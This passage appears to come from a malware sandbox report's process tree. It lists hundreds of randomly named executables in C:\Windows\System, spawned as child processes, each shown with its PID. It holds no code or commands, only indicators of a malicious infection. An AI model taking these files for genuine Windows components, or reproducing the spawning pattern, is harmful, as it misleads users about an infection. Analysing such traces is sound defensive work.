  C:\Windows\System\WrRmHSj.exe
  2⤵
  PID:8336
- C:\Windows\System\UYxRVya.exe
  C:\Windows\System\UYxRVya.exe
  2⤵
  PID:8360
- C:\Windows\System\moWyNIk.exe
  C:\Windows\System\moWyNIk.exe
  2⤵
  PID:8388
- C:\Windows\System\WhuXnHS.exe
  C:\Windows\System\WhuXnHS.exe
  2⤵
  PID:8416
- C:\Windows\System\iKtmnkh.exe
  C:\Windows\System\iKtmnkh.exe
  2⤵
  PID:8444
- C:\Windows\System\yaBbtAa.exe
  C:\Windows\System\yaBbtAa.exe
  2⤵
  PID:8472
- C:\Windows\System\JAhMXgG.exe
  C:\Windows\System\JAhMXgG.exe
  2⤵
  PID:8500
- C:\Windows\System\awKYzAf.exe
  C:\Windows\System\awKYzAf.exe
  2⤵
  PID:8528
- C:\Windows\System\ApXPsUS.exe
  C:\Windows\System\ApXPsUS.exe
  2⤵
  PID:8556
- C:\Windows\System\hHvkIdC.exe
  C:\Windows\System\hHvkIdC.exe
  2⤵
  PID:8592
- C:\Windows\System\MDJoFho.exe
  C:\Windows\System\MDJoFho.exe
  2⤵
  PID:8632
- C:\Windows\System\zEOlQto.exe
  C:\Windows\System\zEOlQto.exe
  2⤵
  PID:8676
- C:\Windows\System\GywTgcN.exe
  C:\Windows\System\GywTgcN.exe
  2⤵
  PID:8704
- C:\Windows\System\DjNIpfB.exe
  C:\Windows\System\DjNIpfB.exe
  2⤵
  PID:8720
- C:\Windows\System\uhKQKzX.exe
  C:\Windows\System\uhKQKzX.exe
  2⤵
  PID:8748
- C:\Windows\System\BUtFqsi.exe
  C:\Windows\System\BUtFqsi.exe
  2⤵
  PID:8792
- C:\Windows\System\HeetJVW.exe
  C:\Windows\System\HeetJVW.exe
  2⤵
  PID:8816
- C:\Windows\System\UJVKmcz.exe
  C:\Windows\System\UJVKmcz.exe
  2⤵
  PID:8844
- C:\Windows\System\TpsZwqf.exe
  C:\Windows\System\TpsZwqf.exe
  2⤵
  PID:8872
- C:\Windows\System\BVkIFuF.exe
  C:\Windows\System\BVkIFuF.exe
  2⤵
  PID:8900
- C:\Windows\System\FpBlCYG.exe
  C:\Windows\System\FpBlCYG.exe
  2⤵
  PID:8928
- C:\Windows\System\WGNBMdG.exe
  C:\Windows\System\WGNBMdG.exe
  2⤵
  PID:8956
- C:\Windows\System\vWNRKjj.exe
  C:\Windows\System\vWNRKjj.exe
  2⤵
  PID:8984
- C:\Windows\System\hSzpBDi.exe
  C:\Windows\System\hSzpBDi.exe
  2⤵
  PID:9012
- C:\Windows\System\ZjNNlIN.exe
  C:\Windows\System\ZjNNlIN.exe
  2⤵
  PID:9040
- C:\Windows\System\BvNlaZE.exe
  C:\Windows\System\BvNlaZE.exe
  2⤵
  PID:9068
- C:\Windows\System\dCjVQVS.exe
  C:\Windows\System\dCjVQVS.exe
  2⤵
  PID:9084
- C:\Windows\System\ZaqyWjJ.exe
  C:\Windows\System\ZaqyWjJ.exe
  2⤵
  PID:9124
- C:\Windows\System\wWwjxOX.exe
  C:\Windows\System\wWwjxOX.exe
  2⤵
  PID:9140
- C:\Windows\System\QCgHziY.exe
  C:\Windows\System\QCgHziY.exe
  2⤵
  PID:9180
- C:\Windows\System\RukPuBX.exe
  C:\Windows\System\RukPuBX.exe
  2⤵
  PID:9208
- C:\Windows\System\yQOwdig.exe
  C:\Windows\System\yQOwdig.exe
  2⤵
  PID:8216
- C:\Windows\System\hdfgXPX.exe
  C:\Windows\System\hdfgXPX.exe
  2⤵
  PID:8288
- C:\Windows\System\BfchEez.exe
  C:\Windows\System\BfchEez.exe
  2⤵
  PID:8352
- C:\Windows\System\vcoNnRi.exe
  C:\Windows\System\vcoNnRi.exe
  2⤵
  PID:8408
- C:\Windows\System\wemXapo.exe
  C:\Windows\System\wemXapo.exe
  2⤵
  PID:8484
- C:\Windows\System\lCCguwR.exe
  C:\Windows\System\lCCguwR.exe
  2⤵
  PID:8540
- C:\Windows\System\ZuvGIla.exe
  C:\Windows\System\ZuvGIla.exe
  2⤵
  PID:8628
- C:\Windows\System\MQRRMHl.exe
  C:\Windows\System\MQRRMHl.exe
  2⤵
  PID:8696
- C:\Windows\System\fadYUUh.exe
  C:\Windows\System\fadYUUh.exe
  2⤵
  PID:8768
- C:\Windows\System\hbBFeWy.exe
  C:\Windows\System\hbBFeWy.exe
  2⤵
  PID:8836
- C:\Windows\System\osNAGSw.exe
  C:\Windows\System\osNAGSw.exe
  2⤵
  PID:8896
- C:\Windows\System\IEJRCjE.exe
  C:\Windows\System\IEJRCjE.exe
  2⤵
  PID:8972
- C:\Windows\System\LLsCPAU.exe
  C:\Windows\System\LLsCPAU.exe
  2⤵
  PID:9036
- C:\Windows\System\bwKxjGg.exe
  C:\Windows\System\bwKxjGg.exe
  2⤵
  PID:9108
- C:\Windows\System\YMTrdKG.exe
  C:\Windows\System\YMTrdKG.exe
  2⤵
  PID:9164
- C:\Windows\System\TSkXoMv.exe
  C:\Windows\System\TSkXoMv.exe
  2⤵
  PID:8212
- C:\Windows\System\uOcLOcg.exe
  C:\Windows\System\uOcLOcg.exe
  2⤵
  PID:8376
- C:\Windows\System\xQJLJQI.exe
  C:\Windows\System\xQJLJQI.exe
  2⤵
  PID:8516
- C:\Windows\System\UrTdHGD.exe
  C:\Windows\System\UrTdHGD.exe
  2⤵
  PID:8688
- C:\Windows\System\dCUhPRo.exe
  C:\Windows\System\dCUhPRo.exe
  2⤵
  PID:8828
- C:\Windows\System\kBsvnoY.exe
  C:\Windows\System\kBsvnoY.exe
  2⤵
  PID:9008
- C:\Windows\System\DHRUgkS.exe
  C:\Windows\System\DHRUgkS.exe
  2⤵
  PID:9132
- C:\Windows\System\dqVgyQM.exe
  C:\Windows\System\dqVgyQM.exe
  2⤵
  PID:8204
- C:\Windows\System\SuQFCFD.exe
  C:\Windows\System\SuQFCFD.exe
  2⤵
  PID:8740
- C:\Windows\System\EsQePZQ.exe
  C:\Windows\System\EsQePZQ.exe
  2⤵
  PID:9064
- C:\Windows\System\ZSvAeiA.exe
  C:\Windows\System\ZSvAeiA.exe
  2⤵
  PID:8668
- C:\Windows\System\amtxWJF.exe
  C:\Windows\System\amtxWJF.exe
  2⤵
  PID:9220
- C:\Windows\System\hMYsnek.exe
  C:\Windows\System\hMYsnek.exe
  2⤵
  PID:9248
- C:\Windows\System\McDxjrQ.exe
  C:\Windows\System\McDxjrQ.exe
  2⤵
  PID:9268
- C:\Windows\System\qtmhkHj.exe
  C:\Windows\System\qtmhkHj.exe
  2⤵
  PID:9304
- C:\Windows\System\vOlacup.exe
  C:\Windows\System\vOlacup.exe
  2⤵
  PID:9332
- C:\Windows\System\zmmgQPQ.exe
  C:\Windows\System\zmmgQPQ.exe
  2⤵
  PID:9356
- C:\Windows\System\pFDJfMy.exe
  C:\Windows\System\pFDJfMy.exe
  2⤵
  PID:9376
- C:\Windows\System\SKOuQUC.exe
  C:\Windows\System\SKOuQUC.exe
  2⤵
  PID:9416
- C:\Windows\System\CYnsWgh.exe
  C:\Windows\System\CYnsWgh.exe
  2⤵
  PID:9436
- C:\Windows\System\TaLwkbz.exe
  C:\Windows\System\TaLwkbz.exe
  2⤵
  PID:9472
- C:\Windows\System\EmKgheR.exe
  C:\Windows\System\EmKgheR.exe
  2⤵
  PID:9488
- C:\Windows\System\GkcPyzU.exe
  C:\Windows\System\GkcPyzU.exe
  2⤵
  PID:9528
- C:\Windows\System\MQoUBAC.exe
  C:\Windows\System\MQoUBAC.exe
  2⤵
  PID:9556
- C:\Windows\System\LFQhchD.exe
  C:\Windows\System\LFQhchD.exe
  2⤵
  PID:9572
- C:\Windows\System\UGloPJr.exe
  C:\Windows\System\UGloPJr.exe
  2⤵
  PID:9600
- C:\Windows\System\cXwgtnG.exe
  C:\Windows\System\cXwgtnG.exe
  2⤵
  PID:9628
- C:\Windows\System\GyNrPRL.exe
  C:\Windows\System\GyNrPRL.exe
  2⤵
  PID:9668
- C:\Windows\System\IETalgW.exe
  C:\Windows\System\IETalgW.exe
  2⤵
  PID:9688
- C:\Windows\System\hVAUvDj.exe
  C:\Windows\System\hVAUvDj.exe
  2⤵
  PID:9724
- C:\Windows\System\NHjVQqV.exe
  C:\Windows\System\NHjVQqV.exe
  2⤵
  PID:9768
- C:\Windows\System\cWmJPDR.exe
  C:\Windows\System\cWmJPDR.exe
  2⤵
  PID:9784
- C:\Windows\System\HKeDbnW.exe
  C:\Windows\System\HKeDbnW.exe
  2⤵
  PID:9812
- C:\Windows\System\orhpSQY.exe
  C:\Windows\System\orhpSQY.exe
  2⤵
  PID:9832
- C:\Windows\System\xecTkwc.exe
  C:\Windows\System\xecTkwc.exe
  2⤵
  PID:9868
- C:\Windows\System\KaxcZsm.exe
  C:\Windows\System\KaxcZsm.exe
  2⤵
  PID:9896
- C:\Windows\System\prkTSRM.exe
  C:\Windows\System\prkTSRM.exe
  2⤵
  PID:9924
- C:\Windows\System\WGJLIFf.exe
  C:\Windows\System\WGJLIFf.exe
  2⤵
  PID:9956
- C:\Windows\System\yRvpUdX.exe
  C:\Windows\System\yRvpUdX.exe
  2⤵
  PID:9984
- C:\Windows\System\xxEBEXo.exe
  C:\Windows\System\xxEBEXo.exe
  2⤵
  PID:10004
- C:\Windows\System\bRMOULD.exe
  C:\Windows\System\bRMOULD.exe
  2⤵
  PID:10028
- C:\Windows\System\wnUpYsv.exe
  C:\Windows\System\wnUpYsv.exe
  2⤵
  PID:10056
- C:\Windows\System\GsBEuIf.exe
  C:\Windows\System\GsBEuIf.exe
  2⤵
  PID:10084
- C:\Windows\System\NGwRDdk.exe
  C:\Windows\System\NGwRDdk.exe
  2⤵
  PID:10112
- C:\Windows\System\KDuSnFB.exe
  C:\Windows\System\KDuSnFB.exe
  2⤵
  PID:10140
- C:\Windows\System\vEjnrFw.exe
  C:\Windows\System\vEjnrFw.exe
  2⤵
  PID:10172
- C:\Windows\System\TcBvIkD.exe
  C:\Windows\System\TcBvIkD.exe
  2⤵
  PID:10208
- C:\Windows\System\WppCQfG.exe
  C:\Windows\System\WppCQfG.exe
  2⤵
  PID:10236
- C:\Windows\System\xzpLYma.exe
  C:\Windows\System\xzpLYma.exe
  2⤵
  PID:9256
- C:\Windows\System\HXFVqLj.exe
  C:\Windows\System\HXFVqLj.exe
  2⤵
  PID:9296
- C:\Windows\System\bobboGC.exe
  C:\Windows\System\bobboGC.exe
  2⤵
  PID:9404
- C:\Windows\System\QbYnrVh.exe
  C:\Windows\System\QbYnrVh.exe
  2⤵
  PID:9432
- C:\Windows\System\XjUKtxx.exe
  C:\Windows\System\XjUKtxx.exe
  2⤵
  PID:9524
- C:\Windows\System\pgOtFGk.exe
  C:\Windows\System\pgOtFGk.exe
  2⤵
  PID:9568
- C:\Windows\System\hhSFdNJ.exe
  C:\Windows\System\hhSFdNJ.exe
  2⤵
  PID:9616
- C:\Windows\System\JERmDWq.exe
  C:\Windows\System\JERmDWq.exe
  2⤵
  PID:9684
- C:\Windows\System\XcWIINN.exe
  C:\Windows\System\XcWIINN.exe
  2⤵
  PID:9748
- C:\Windows\System\NErLUiK.exe
  C:\Windows\System\NErLUiK.exe
  2⤵
  PID:9800
- C:\Windows\System\GzTXJpY.exe
  C:\Windows\System\GzTXJpY.exe
  2⤵
  PID:9892
- C:\Windows\System\cVEXekW.exe
  C:\Windows\System\cVEXekW.exe
  2⤵
  PID:9968
- C:\Windows\System\wnMtPCQ.exe
  C:\Windows\System\wnMtPCQ.exe
  2⤵
  PID:10024
- C:\Windows\System\bYwbcSB.exe
  C:\Windows\System\bYwbcSB.exe
  2⤵
  PID:10124
- C:\Windows\System\jprEFcP.exe
  C:\Windows\System\jprEFcP.exe
  2⤵
  PID:10160
- C:\Windows\System\lOFKtiP.exe
  C:\Windows\System\lOFKtiP.exe
  2⤵
  PID:10228
- C:\Windows\System\JtMeGWr.exe
  C:\Windows\System\JtMeGWr.exe
  2⤵
  PID:9292
- C:\Windows\System\DHcfgsM.exe
  C:\Windows\System\DHcfgsM.exe
  2⤵
  PID:9484
- C:\Windows\System\ucuonZK.exe
  C:\Windows\System\ucuonZK.exe
  2⤵
  PID:9612
- C:\Windows\System\rENwpOu.exe
  C:\Windows\System\rENwpOu.exe
  2⤵
  PID:9796
- C:\Windows\System\dYQHwVF.exe
  C:\Windows\System\dYQHwVF.exe
  2⤵
  PID:9888
- C:\Windows\System\vnBVDKH.exe
  C:\Windows\System\vnBVDKH.exe
  2⤵
  PID:10076
- C:\Windows\System\wTHsukk.exe
  C:\Windows\System\wTHsukk.exe
  2⤵
  PID:9244
- C:\Windows\System\vhLTZzm.exe
  C:\Windows\System\vhLTZzm.exe
  2⤵
  PID:9620
- C:\Windows\System\nwRcPeq.exe
  C:\Windows\System\nwRcPeq.exe
  2⤵
  PID:9952
- C:\Windows\System\pBVNhMl.exe
  C:\Windows\System\pBVNhMl.exe
  2⤵
  PID:9444
- C:\Windows\System\QqcQtRM.exe
  C:\Windows\System\QqcQtRM.exe
  2⤵
  PID:9540
- C:\Windows\System\ZusgvrO.exe
  C:\Windows\System\ZusgvrO.exe
  2⤵
  PID:10248
- C:\Windows\System\CLLisFy.exe
  C:\Windows\System\CLLisFy.exe
  2⤵
  PID:10296
- C:\Windows\System\EGJsTqG.exe
  C:\Windows\System\EGJsTqG.exe
  2⤵
  PID:10320
- C:\Windows\System\GXxehqf.exe
  C:\Windows\System\GXxehqf.exe
  2⤵
  PID:10364
- C:\Windows\System\dUXmPqY.exe
  C:\Windows\System\dUXmPqY.exe
  2⤵
  PID:10412
- C:\Windows\System\XYLXCyE.exe
  C:\Windows\System\XYLXCyE.exe
  2⤵
  PID:10444
- C:\Windows\System\TaTLdwM.exe
  C:\Windows\System\TaTLdwM.exe
  2⤵
  PID:10460
- C:\Windows\System\IxFbtkG.exe
  C:\Windows\System\IxFbtkG.exe
  2⤵
  PID:10488
- C:\Windows\System\XgdAoUG.exe
  C:\Windows\System\XgdAoUG.exe
  2⤵
  PID:10536
- C:\Windows\System\ZNrTldr.exe
  C:\Windows\System\ZNrTldr.exe
  2⤵
  PID:10572
- C:\Windows\System\QKyikRe.exe
  C:\Windows\System\QKyikRe.exe
  2⤵
  PID:10588
- C:\Windows\System\SBjPNnp.exe
  C:\Windows\System\SBjPNnp.exe
  2⤵
  PID:10652
- C:\Windows\System\mGQAbrm.exe
  C:\Windows\System\mGQAbrm.exe
  2⤵
  PID:10696
- C:\Windows\System\ssMSPjK.exe
  C:\Windows\System\ssMSPjK.exe
  2⤵
  PID:10716
- C:\Windows\System\gsPJGJc.exe
  C:\Windows\System\gsPJGJc.exe
  2⤵
  PID:10764
- C:\Windows\System\dZfvGQG.exe
  C:\Windows\System\dZfvGQG.exe
  2⤵
  PID:10784
- C:\Windows\System\SkgpApu.exe
  C:\Windows\System\SkgpApu.exe
  2⤵
  PID:10824
- C:\Windows\System\MtEDsnQ.exe
  C:\Windows\System\MtEDsnQ.exe
  2⤵
  PID:10856
- C:\Windows\System\XCmifJU.exe
  C:\Windows\System\XCmifJU.exe
  2⤵
  PID:10872
- C:\Windows\System\TAHGmQH.exe
  C:\Windows\System\TAHGmQH.exe
  2⤵
  PID:10888
- C:\Windows\System\NqZtTGA.exe
  C:\Windows\System\NqZtTGA.exe
  2⤵
  PID:10936
- C:\Windows\System\wmihtUP.exe
  C:\Windows\System\wmihtUP.exe
  2⤵
  PID:10980
- C:\Windows\System\FuyCdoZ.exe
  C:\Windows\System\FuyCdoZ.exe
  2⤵
  PID:11008
- C:\Windows\System\NeHrVeC.exe
  C:\Windows\System\NeHrVeC.exe
  2⤵
  PID:11036
- C:\Windows\System\SWBJqtc.exe
  C:\Windows\System\SWBJqtc.exe
  2⤵
  PID:11052
- C:\Windows\System\rhqruON.exe
  C:\Windows\System\rhqruON.exe
  2⤵
  PID:11080
- C:\Windows\System\lFuhJMU.exe
  C:\Windows\System\lFuhJMU.exe
  2⤵
  PID:11132
- C:\Windows\System\KntcDvV.exe
  C:\Windows\System\KntcDvV.exe
  2⤵
  PID:11148
- C:\Windows\System\udJuzjn.exe
  C:\Windows\System\udJuzjn.exe
  2⤵
  PID:11176
- C:\Windows\System\uPMHnEY.exe
  C:\Windows\System\uPMHnEY.exe
  2⤵
  PID:11204
- C:\Windows\System\QgozCYQ.exe
  C:\Windows\System\QgozCYQ.exe
  2⤵
  PID:11232
- C:\Windows\System\NvbkmeF.exe
  C:\Windows\System\NvbkmeF.exe
  2⤵
  PID:11252
- C:\Windows\System\HMAcsZT.exe
  C:\Windows\System\HMAcsZT.exe
  2⤵
  PID:10316
- C:\Windows\System\McSMqUa.exe
  C:\Windows\System\McSMqUa.exe
  2⤵
  PID:10392
- C:\Windows\System\VlngRFK.exe
  C:\Windows\System\VlngRFK.exe
  2⤵
  PID:10452
- C:\Windows\System\xNGGowG.exe
  C:\Windows\System\xNGGowG.exe
  2⤵
  PID:10504
- C:\Windows\System\hyQLBeL.exe
  C:\Windows\System\hyQLBeL.exe
  2⤵
  PID:10604
- C:\Windows\System\NDqCvXi.exe
  C:\Windows\System\NDqCvXi.exe
  2⤵
  PID:10704
- C:\Windows\System\RDuIJXH.exe
  C:\Windows\System\RDuIJXH.exe
  2⤵
  PID:10792
- C:\Windows\System\LsdfcQB.exe
  C:\Windows\System\LsdfcQB.exe
  2⤵
  PID:10848
- C:\Windows\System\ueIMARV.exe
  C:\Windows\System\ueIMARV.exe
  2⤵
  PID:10920
- C:\Windows\System\YCnofAl.exe
  C:\Windows\System\YCnofAl.exe
  2⤵
  PID:11004
- C:\Windows\System\NpuuZYy.exe
  C:\Windows\System\NpuuZYy.exe
  2⤵
  PID:11064
- C:\Windows\System\sbZNRrk.exe
  C:\Windows\System\sbZNRrk.exe
  2⤵
  PID:2160
- C:\Windows\System\WGNYdSB.exe
  C:\Windows\System\WGNYdSB.exe
  2⤵
  PID:1128
- C:\Windows\System\SyEiSjs.exe
  C:\Windows\System\SyEiSjs.exe
  2⤵
  PID:11168
- C:\Windows\System\bigvPTy.exe
  C:\Windows\System\bigvPTy.exe
  2⤵
  PID:11228
- C:\Windows\System\AzHWjJW.exe
  C:\Windows\System\AzHWjJW.exe
  2⤵
  PID:9932
- C:\Windows\System\nAiZnfi.exe
  C:\Windows\System\nAiZnfi.exe
  2⤵
  PID:10472
- C:\Windows\System\ZmuCPvM.exe
  C:\Windows\System\ZmuCPvM.exe
  2⤵
  PID:10688
- C:\Windows\System\OwFfTQx.exe
  C:\Windows\System\OwFfTQx.exe
  2⤵
  PID:10868
- C:\Windows\System\ztNDdSs.exe
  C:\Windows\System\ztNDdSs.exe
  2⤵
  PID:11068
- C:\Windows\System\EYiubAc.exe
  C:\Windows\System\EYiubAc.exe
  2⤵
  PID:11128
- C:\Windows\System\heFkAqx.exe
  C:\Windows\System\heFkAqx.exe
  2⤵
  PID:10288
- C:\Windows\System\oMuthff.exe
  C:\Windows\System\oMuthff.exe
  2⤵
  PID:10692
- C:\Windows\System\MBYLsEA.exe
  C:\Windows\System\MBYLsEA.exe
  2⤵
  PID:10844
- C:\Windows\System\BzDzMTu.exe
  C:\Windows\System\BzDzMTu.exe
  2⤵
  PID:1572
- C:\Windows\System\nqNtQsu.exe
  C:\Windows\System\nqNtQsu.exe
  2⤵
  PID:10424
- C:\Windows\System\acKDUsB.exe
  C:\Windows\System\acKDUsB.exe
  2⤵
  PID:11276
- C:\Windows\System\krqXRAv.exe
  C:\Windows\System\krqXRAv.exe
  2⤵
  PID:11308
- C:\Windows\System\ORPvMgF.exe
  C:\Windows\System\ORPvMgF.exe
  2⤵
  PID:11336
- C:\Windows\System\EJzWRXu.exe
  C:\Windows\System\EJzWRXu.exe
  2⤵
  PID:11364
- C:\Windows\System\wDcybwa.exe
  C:\Windows\System\wDcybwa.exe
  2⤵
  PID:11392
- C:\Windows\System\zWoZiSo.exe
  C:\Windows\System\zWoZiSo.exe
  2⤵
  PID:11420
- C:\Windows\System\nYcoiWS.exe
  C:\Windows\System\nYcoiWS.exe
  2⤵
  PID:11436
- C:\Windows\System\oLxYAEc.exe
  C:\Windows\System\oLxYAEc.exe
  2⤵
  PID:11476
- C:\Windows\System\rikyzqr.exe
  C:\Windows\System\rikyzqr.exe
  2⤵
  PID:11504
- C:\Windows\System\KDxuvVV.exe
  C:\Windows\System\KDxuvVV.exe
  2⤵
  PID:11524
- C:\Windows\System\dPfoRRn.exe
  C:\Windows\System\dPfoRRn.exe
  2⤵
  PID:11560
- C:\Windows\System\KCQKqxq.exe
  C:\Windows\System\KCQKqxq.exe
  2⤵
  PID:11588
- C:\Windows\System\RUdHRMp.exe
  C:\Windows\System\RUdHRMp.exe
  2⤵
  PID:11604
- C:\Windows\System\eFGKFnZ.exe
  C:\Windows\System\eFGKFnZ.exe
  2⤵
  PID:11644
- C:\Windows\System\jFPircW.exe
  C:\Windows\System\jFPircW.exe
  2⤵
  PID:11672
- C:\Windows\System\lddZyFb.exe
  C:\Windows\System\lddZyFb.exe
  2⤵
  PID:11688
- C:\Windows\System\IAKbVSV.exe
  C:\Windows\System\IAKbVSV.exe
  2⤵
  PID:11716
- C:\Windows\System\MUrTKjQ.exe
  C:\Windows\System\MUrTKjQ.exe
  2⤵
  PID:11756
- C:\Windows\System\ilrgQkd.exe
  C:\Windows\System\ilrgQkd.exe
  2⤵
  PID:11784
- C:\Windows\System\NqriHpz.exe
  C:\Windows\System\NqriHpz.exe
  2⤵
  PID:11812
- C:\Windows\System\VaikBUo.exe
  C:\Windows\System\VaikBUo.exe
  2⤵
  PID:11840
- C:\Windows\System\cDzjxgu.exe
  C:\Windows\System\cDzjxgu.exe
  2⤵
  PID:11868
- C:\Windows\System\tASPNen.exe
  C:\Windows\System\tASPNen.exe
  2⤵
  PID:11896
- C:\Windows\System\CrepxvK.exe
  C:\Windows\System\CrepxvK.exe
  2⤵
  PID:11924
- C:\Windows\System\AdsZYoG.exe
  C:\Windows\System\AdsZYoG.exe
  2⤵
  PID:11952
- C:\Windows\System\AHGaMvn.exe
  C:\Windows\System\AHGaMvn.exe
  2⤵
  PID:11980
- C:\Windows\System\QfrSjXU.exe
  C:\Windows\System\QfrSjXU.exe
  2⤵
  PID:12008
- C:\Windows\System\MZvnESq.exe
  C:\Windows\System\MZvnESq.exe
  2⤵
  PID:12036
- C:\Windows\System\juBVkub.exe
  C:\Windows\System\juBVkub.exe
  2⤵
  PID:12064
- C:\Windows\System\dnxYSLB.exe
  C:\Windows\System\dnxYSLB.exe
  2⤵
  PID:12092
- C:\Windows\System\OUeSfOc.exe
  C:\Windows\System\OUeSfOc.exe
  2⤵
  PID:12120
- C:\Windows\System\ncPlRSK.exe
  C:\Windows\System\ncPlRSK.exe
  2⤵
  PID:12148
- C:\Windows\System\DYvDnkL.exe
  C:\Windows\System\DYvDnkL.exe
  2⤵
  PID:12176
- C:\Windows\System\hnIrbum.exe
  C:\Windows\System\hnIrbum.exe
  2⤵
  PID:12204
- C:\Windows\System\QFVdxea.exe
  C:\Windows\System\QFVdxea.exe
  2⤵
  PID:12232
- C:\Windows\System\EfvXsis.exe
  C:\Windows\System\EfvXsis.exe
  2⤵
  PID:12260
- C:\Windows\System\BWCPDCq.exe
  C:\Windows\System\BWCPDCq.exe
  2⤵
  PID:10284
- C:\Windows\System\ZRDSJDv.exe
  C:\Windows\System\ZRDSJDv.exe
  2⤵
  PID:11320
- C:\Windows\System\JYHrjev.exe
  C:\Windows\System\JYHrjev.exe
  2⤵
  PID:11384
- C:\Windows\System\KecTHBu.exe
  C:\Windows\System\KecTHBu.exe
  2⤵
  PID:11448
- C:\Windows\System\RVbktVN.exe
  C:\Windows\System\RVbktVN.exe
  2⤵
  PID:11512
- C:\Windows\System\alQUQjH.exe
  C:\Windows\System\alQUQjH.exe
  2⤵
  PID:11580
- C:\Windows\System\BDZWNsp.exe
  C:\Windows\System\BDZWNsp.exe
  2⤵
  PID:11640
- C:\Windows\System\YJzVLBJ.exe
  C:\Windows\System\YJzVLBJ.exe
  2⤵
  PID:11684
- C:\Windows\System\UfVEnev.exe
  C:\Windows\System\UfVEnev.exe
  2⤵
  PID:11780
- C:\Windows\System\YYlJcoh.exe
  C:\Windows\System\YYlJcoh.exe
  2⤵
  PID:11824
- C:\Windows\System\MrhMGdY.exe
  C:\Windows\System\MrhMGdY.exe
  2⤵
  PID:11908
- C:\Windows\System\eacInVt.exe
  C:\Windows\System\eacInVt.exe
  2⤵
  PID:11976
- C:\Windows\System\BBGzmyL.exe
  C:\Windows\System\BBGzmyL.exe
  2⤵
  PID:12032
- C:\Windows\System\qHFdTqQ.exe
  C:\Windows\System\qHFdTqQ.exe
  2⤵
  PID:12104
- C:\Windows\System\UhbQiFh.exe
  C:\Windows\System\UhbQiFh.exe
  2⤵
  PID:12168
- C:\Windows\System\grpMQVg.exe
  C:\Windows\System\grpMQVg.exe
  2⤵
  PID:12244
- C:\Windows\System\rdKplby.exe
  C:\Windows\System\rdKplby.exe
  2⤵
  PID:11304
- C:\Windows\System\zkQXYlV.exe
  C:\Windows\System\zkQXYlV.exe
  2⤵
  PID:11432
- C:\Windows\System\exFPJio.exe
  C:\Windows\System\exFPJio.exe
  2⤵
  PID:11572
- C:\Windows\System\zTmJLbJ.exe
  C:\Windows\System\zTmJLbJ.exe
  2⤵
  PID:11768
- C:\Windows\System\cednaTz.exe
  C:\Windows\System\cednaTz.exe
  2⤵
  PID:11888
- C:\Windows\System\OfOVHRA.exe
  C:\Windows\System\OfOVHRA.exe
  2⤵
  PID:12028
- C:\Windows\System\THoIZFK.exe
  C:\Windows\System\THoIZFK.exe
  2⤵
  PID:4304
- C:\Windows\System\saJNriy.exe
  C:\Windows\System\saJNriy.exe
  2⤵
  PID:11348
- C:\Windows\System\GbjVJIv.exe
  C:\Windows\System\GbjVJIv.exe
  2⤵
  PID:11660
- C:\Windows\System\DWZjUmv.exe
  C:\Windows\System\DWZjUmv.exe
  2⤵
  PID:12020
- C:\Windows\System\WtZlIVx.exe
  C:\Windows\System\WtZlIVx.exe
  2⤵
  PID:11556
- C:\Windows\System\RlMGzBf.exe
  C:\Windows\System\RlMGzBf.exe
  2⤵
  PID:12284
- C:\Windows\System\oMjxraB.exe
  C:\Windows\System\oMjxraB.exe
  2⤵
  PID:12308
- C:\Windows\System\LhwZKRJ.exe
  C:\Windows\System\LhwZKRJ.exe
  2⤵
  PID:12324
- C:\Windows\System\vBCByZM.exe
  C:\Windows\System\vBCByZM.exe
  2⤵
  PID:12352
- C:\Windows\System\DZkMQdN.exe
  C:\Windows\System\DZkMQdN.exe
  2⤵
  PID:12384
- C:\Windows\System\QhRUnsc.exe
  C:\Windows\System\QhRUnsc.exe
  2⤵
  PID:12416
- C:\Windows\System\jTpXTnY.exe
  C:\Windows\System\jTpXTnY.exe
  2⤵
  PID:12444
- C:\Windows\System\xSnahxX.exe
  C:\Windows\System\xSnahxX.exe
  2⤵
  PID:12472
- C:\Windows\System\fzwFvUH.exe
  C:\Windows\System\fzwFvUH.exe
  2⤵
  PID:12504
- C:\Windows\System\pJKQhaZ.exe
  C:\Windows\System\pJKQhaZ.exe
  2⤵
  PID:12532
- C:\Windows\System\wukDnil.exe
  C:\Windows\System\wukDnil.exe
  2⤵
  PID:12560
- C:\Windows\System\mexozyn.exe
  C:\Windows\System\mexozyn.exe
  2⤵
  PID:12588
- C:\Windows\System\hFxFPqh.exe
  C:\Windows\System\hFxFPqh.exe
  2⤵
  PID:12616
- C:\Windows\System\NbtktVf.exe
  C:\Windows\System\NbtktVf.exe
  2⤵
  PID:12632
- C:\Windows\System\lVuPApQ.exe
  C:\Windows\System\lVuPApQ.exe
  2⤵
  PID:12664
- C:\Windows\System\WOBFXEj.exe
  C:\Windows\System\WOBFXEj.exe
  2⤵
  PID:12700
- C:\Windows\System\qlwUuYH.exe
  C:\Windows\System\qlwUuYH.exe
  2⤵
  PID:12728
- C:\Windows\System\zBSrnuX.exe
  C:\Windows\System\zBSrnuX.exe
  2⤵
  PID:12756
- C:\Windows\System\GhSGcoG.exe
  C:\Windows\System\GhSGcoG.exe
  2⤵
  PID:12784
- C:\Windows\System\SsAHJgt.exe
  C:\Windows\System\SsAHJgt.exe
  2⤵
  PID:12812
- C:\Windows\System\IaXSNoO.exe
  C:\Windows\System\IaXSNoO.exe
  2⤵
  PID:12840
- C:\Windows\System\LykhaVI.exe
  C:\Windows\System\LykhaVI.exe
  2⤵
  PID:12868
- C:\Windows\System\cOKJErS.exe
  C:\Windows\System\cOKJErS.exe
  2⤵
  PID:12896
- C:\Windows\System\PjthYHK.exe
  C:\Windows\System\PjthYHK.exe
  2⤵
  PID:12924
- C:\Windows\System\oarRCrY.exe
  C:\Windows\System\oarRCrY.exe
  2⤵
  PID:12948
- C:\Windows\System\QrXqabz.exe
  C:\Windows\System\QrXqabz.exe
  2⤵
  PID:12980
- C:\Windows\System\QRFjgOC.exe
  C:\Windows\System\QRFjgOC.exe
  2⤵
  PID:13020
- C:\Windows\System\goGRHLz.exe
  C:\Windows\System\goGRHLz.exe
  2⤵
  PID:13048
- C:\Windows\System\fmvAwZL.exe
  C:\Windows\System\fmvAwZL.exe
  2⤵
  PID:13064
- C:\Windows\System\qbLOdmM.exe
  C:\Windows\System\qbLOdmM.exe
  2⤵
  PID:13116
- C:\Windows\System\PBtjpCj.exe
  C:\Windows\System\PBtjpCj.exe
  2⤵
  PID:13144
- C:\Windows\System\xpiGmcO.exe
  C:\Windows\System\xpiGmcO.exe
  2⤵
  PID:13172
- C:\Windows\System\gXZMsJP.exe
  C:\Windows\System\gXZMsJP.exe
  2⤵
  PID:13200
- C:\Windows\System\JohBdFY.exe
  C:\Windows\System\JohBdFY.exe
  2⤵
  PID:13228
- C:\Windows\System\ImfdAtd.exe
